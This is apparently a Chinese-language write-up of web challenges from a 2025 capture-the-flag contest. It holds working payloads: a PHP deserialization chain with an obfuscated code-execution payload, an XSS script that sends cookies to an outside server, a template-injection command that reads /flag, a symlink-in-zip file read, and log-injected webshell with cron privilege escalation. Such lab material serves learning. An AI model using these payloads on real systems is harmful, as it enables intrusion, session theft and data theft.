2025NPCctf-web
week1
play a game
看源码

有个跳转的路由

最后是上传114514,因为MTE0NTE0是114514的base64编码。然后命令执行

Please wake me up
前端找到一串base64,解码后是/ezezpop.php

访问后是php反序列化
<?php
#flag在/flag中
highlight_file(__FILE__);
error_reporting(1);
$wakeup='asleep';
class phone{
public $a;
public function test(){
global $wakeup;
if($wakeup!='wakeup'){
echo('I am sleeping');
}
if(!preg_match("/[a-z0-9]+/i", $this->a)){
eval($this->a);
}else{
echo("I am sleeping");
}
}
}
class please{
public $a;
public function __wakeup(){
($this->a)();
}
public function __destruct(){
echo('I am sleeping');
}
}
class wake{
public function __call($hs,$cs){
($cs[0])[strlen($hs)]();
}
}
class up{
public $a;
public $b;
public $c;
public function __call($hs,$cs){
global $wakeup;
$this->a=mt_rand();
if($this->b==$this->a){
$wakeup=$cs[strlen($hs)-$this->c];
}
}
}
class me{
public $a;
public $b;
public $c;
public $d;
public function __invoke(){
$this->a->oh($this->c);
}
public function __wakeup(){
$this->b->ho($this->d);
}
}
unserialize($_POST['mobile']);
?>
这里绕正则用的取反
<?php
class phone{
public $a;
}
class please{
public $a;
}
class wake{
}
class up{
public $a,$b,$c;
}
class me{
public $a,$b,$c,$d;
}
$rce = ' $_++;
$__ = "牥";
$___ .= ~($__{$_});$__ = "瞑";
$___ .= ~($__{$_});$__ = "獡";
$___ .= ~($__{$_});$__ = "砏";
$___ .= ~($__{$_});$__ = "盔";
$___ .= ~($__{$_});$__ = "犤";
$___ .= ~($__{$_});$__ = "璜";
$___ .= ~($__{$_});$__ = "珟";
$___ .= ~($__{$_});
$____ = "癖";
$_____ .= ~($____{$_});$____ = "疘";
$_____ .= ~($____{$_});$____ = "瓛";
$_____ .= ~($____{$_});$____ = "皕";
$_____ .= ~($____{$_});
$______ = "癖";
$_______ .= ~($______{$_});$______ = "瓛";
$_______ .= ~($______{$_});$______ = "瞑";
$_______ .= ~($______{$_});$______ = "瘗";
$_______ .= ~($______{$_});
$___($_____("/".$_______));
';
$phone = new phone();
$phone->a = $rce;
$wake = new wake();
$up = new up();
$up->b = &$up->a;
$up->c = 2;
$me = new me();
$me->a = $wake;
$me->b = $up;
$me->c = [2=>[$phone,"test"]];
//__call第二个参数会自动转成数组形式,所以就变成[[2=>[$phone,"test"]]]
//所以$cs[0]就为[2=>[$phone,"test"]]。$cs[0][2]就为[$phone,"test"]。php中这种形式这种形式可以表示类的方法调用。这种语法被称为可调用数组
$me->d = 'wakeup';
//$cs即为["wakeup"],所以$cs[2-2]=$cs[0]=wakeup,这样就赋值成功
$please = new please();
$please->a = $me;
echo urlencode(serialize($please));
?>
用bp发包。
粉毛的专辑店
进去是个登录界面,我们随便注册一个登录进去,是个经典的xss留言系统
点击管理发现无权限。那肯定是要用xss窃取cookie了。利用自己的服务器监听
<script>fetch("http://xxx.xxx.xxx.xxx:6677/"+document.cookie);</script>

拿到cookie后访问/admin页面

签发和录入两个功能。我们买商品要用优惠码。所以先签发优惠码

然后再录入优惠码(这两个过程都抓包进行)

这里我们没有2f码,该怎么拿到anon的2f码?
我们重新回到注册页面注册一个新账户,出现二维码
浏览器前端查看路径

可以看到二维码的路径为/2faqrcode/ccc(ccc是我新注册的账号名),我们直接改成/2faqrcode/anon
然后访问该路径即可得到anon的注册二维码

这样扫一下就拿到anon的2f码了。

添加成功,我们去购买商品(还是要抓包看)

回显是couponCode码。显然不是flag,既然有回显就好。这里是ssti
到addkey的页面测试一下


果然是。
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}


week2
file_manager

是个文件上传的页面,给了提示上传压缩包。
创建一个shell.php压缩成zip后上传。访问后发现是直接下载。说明服务器不解析。
那么我们上传一个软链接的压缩包。
ln -s /flag.txt 1 //创建软链接指向/flag.txt
zip --symlink 1.zip 1 //压缩软链接
将1.zip上传然后下载下来就是flag


Take notes
是个文件上传页面,点击公开页面的时候抓包查看发现是可以修改文件名和文件内容的
注意不能抓公开笔记的包。抓个人笔记的包
利用UA头写入一句话木马,打日志文件注入。通过插件可以知道是nginx服务器

蚁剑连接一下,目录为/notes/a.php,发现/flag读不了因为权限不够。我们利用计划任务提权。修改sh文件内容让其执行提权即可。具体操作命令看图






